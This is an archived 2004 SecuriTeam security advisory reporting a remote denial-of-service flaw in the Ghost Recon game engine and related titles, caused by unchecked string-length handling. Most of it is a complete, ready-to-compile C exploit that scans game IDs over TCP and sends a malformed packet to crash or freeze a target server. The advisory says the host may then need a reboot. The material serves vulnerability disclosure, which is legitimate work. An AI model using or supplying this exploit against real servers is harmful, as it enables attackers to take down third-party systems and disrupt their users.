[NT] Ghost Recon DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 02/26/04

  • Next message: SecuriTeam: "[NT] Trillian Remote Buffer Overflows (DirectIM, Parser)"
    To: list@securiteam.com
    Date: 26 Feb 2004 11:06:54 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Ghost Recon DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.redstorm.com> Ghost Recon is "a military FPS game developed
    by RedStorm and released in the far 2001 but its engine has been used also
    for the game "The sum of all fears" in the 2002. Furthermore this game is
    still supported by its gamers community because there are a lot of MODs
    created for it".

    A vulnerability in the game allows remote attackers to cause the program
    to crash by sending it a malformed packet.

    DETAILS

    Vulnerable Systems:
     * Ghost Recon version 1.4 and prior
     * Desert Siege
     * The Sum of all Fears version 1.1.1.0 and prior

    The bug is located in the handler of the text strings. Each text string is
    preceded by a 32bit number specifying its size. When the server (or the
    client) receives data it calls functions that manage these 32bit numbers
    and the data that follows them but the return value of these functions is
    never checked allowing an attacker cause exceptions (in "mov byte ptr
    [eax], 00" with EAX equal to 0x00000000).

    After the crash the system seems unrecoverable and a reboot is needed.

    Exploit:
    /*

    by Luigi Auriemma

    UNIX & WIN VERSION - http://aluigi.altervista.org/poc/grboom.zip
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN32
        #include <winsock.h>
        #include <malloc.h>
        #include "winerr.h"

        #define close closesocket
        #define ONESEC 1000
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netdb.h>

        #define ONESEC 1
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 2346
    #define TWAIT 4
    #define WRONG { \
                    fputs("\nError: Wrong answer from the server\n\n",
    stdout); \
                    exit(1); \
                    }
    #define SEND(x) if(send(sd, x, sizeof(x) - 1, 0) < 0) std_err(); \
                    fputc('.', stdout);
    #define RECV if(recv(sd, buff, BUFFSZ, 0) <= 0) { \
                        close(sd); \
                        break; \
                    } \
                    fputc('.', stdout);

    #define S1 "\x42\x06\x00\xbb\x0b\x00\xff\xff\x41"
    // |
    // game identifier, we scan it sequentially

    #define S2 "\x42\x7f\x00\xbd\x0b\x7b\x00\xa1\x00\x01" \
                    "\xff\xff\xff\xff" /* boom */ \
                    "myplayer\0\0\0\0\0\0\0\0\0" \
                    "\xff\xff\xff\xff" /* boom */ \
                    "IkePlayerInfo Development: 1.5\0" \
                    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                    "\xff\xff\xff\xff" /* boom */ \
                    "SystemCrash.DoS\0" \
                    "\xff\xff\xff\xff" /* boom */ \
                    "you_are_crashed\0" \
                    "\xff\xff\xff\xff\x00\x00\x00\x02\x00\x00\x00"

    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        int sd,
                    err,
                    i,
                    id = 0,
                    port = PORT;
        u_char *buff,
                    pck1[] = S1,
                    wait;
        struct sockaddr_in peer;

        setbuf(stdout, NULL);

        fputs("\n"
            "Ghost Recon engine remote crash/system freeze "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s [options] <server>\n"
                "\n"
                "Options:\n"
                "-p PORT choose the port of the remote server (%d)\n"
                "-i ID this is a number from 0 to 255 to launch the
    proof-of-concept versus\n"
                " a specific game if we already know it:\n"
                " - Ghost Recon: 20\n"
                " - The sum of all Fears: 14\n"
                " By default this tool uses a sequential ID scanner that finds
    the\n"
                " right ID without problems, so use this option only if you
    want to be\n"
                " faster\n"
                "\n", argv[0], PORT);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        argc--;
        for(i = 1; i < argc; i++) {
            switch(argv[i][1]) {
                case 'p': port = atoi(argv[++i]); break;
                case 'i': id = atoi(argv[++i]); break;
                default: {
                    printf("\nError: wrong command-line argument (%s)\n",
    argv[i]);
                    exit(1);
                }
            }
        }

        peer.sin_addr.s_addr = resolv(argv[argc]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        buff = malloc(BUFFSZ);
        if(!buff) std_err();

        printf("\nConnection to %s:%hu\n",
            inet_ntoa(peer.sin_addr), port);

        if(!id) {
            fputs("\n"
                "Now I launch an ID scanning (max 255 numbers) trying to make
    this proof-of-concept compatibles with any game based on the Ghost Recon
    engine:\n", stdout);
        }

        for(pck1[5] = id; pck1[5] < 0xff; pck1[5]++) {
            printf("\nTrying with ID 0x%02x: ", pck1[5]);

            sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(sd < 0) std_err();
            err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
            if(err < 0) {
                if(pck1[5] == (id + 1)) {
                    fputs("\n- Server is probably crashed\n", stdout);
                    close(sd);
                    break;
                }
                std_err();
            }
            fputc('.', stdout);

            for(i = 1; i <= 3; i++) {
                err = timeout(sd);
                if(err < 0) {
                    printf("\n- timeout %d of 3 (server is probably crashed)",
    i);
                    continue;
                }
                break;
            }
            if(i == 4) { close(sd); break; }

            RECV;
            if(*buff != 0x42) WRONG;

            SEND(pck1);
            RECV;
            if(*buff != 0x42) WRONG;
            if(buff[3] == 0xbf) {
                if(id) {
                    fputs("\n- Server is full or has not accept the
    request\n", stdout);
                    exit(1);
                }
                fputs("\n- Server is full or has not accept the request,
    continue scanning", stdout);
                close(sd);
                continue;
            }

                /* BOOM */
            SEND(S2);
            fputs("\n\n* BOOM data sent to the server!\n", stdout);
            close(sd);

            if(id) break;
        }

            /* double check */
        fputs("\n\n- I check if the server is really down or not, wait a
    moment\n", stdout);
        for(wait = TWAIT; wait != 0; wait--) {
            printf("%3d\r", wait);
            sleep(ONESEC);
        }

        fputs("\n- connection...", stdout);
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
        if(err < 0) fputs("\nThe server is vulnerable!!!\n\n", stdout);
            else fputs("\nThe server is NOT vulnerable\n\n", stdout);

        close(sd);
        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TWAIT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolve hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)(hp->h_addr);
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Trillian Remote Buffer Overflows (DirectIM, Parser)"

    Relevant Pages

    • [NT] PacketTrap TFTP Server Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in the way pt360's TFTP ... int timeout; ... if local_file is equal to %s will be used stdout for upload or ...
      (Securiteam)
    • [NEWS] Gamespy SDK Cd-Key Validation Toolkit Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Gamespy's CDKey validation toolkit is an SDK ... The problem begins by an overly long reply sent by the game client to the ... int main{ ...
      (Securiteam)
    • [NT] Argon Client Management Services Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ... u_short port = PORT; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)
    • [NT] 2X ThinClientServer Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ... u_short port = PORT; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)
    • [NT] BootManage TFTPD Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... is "a TFTP server for Windows implemented in BootManage Administrator". ... int timeout; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)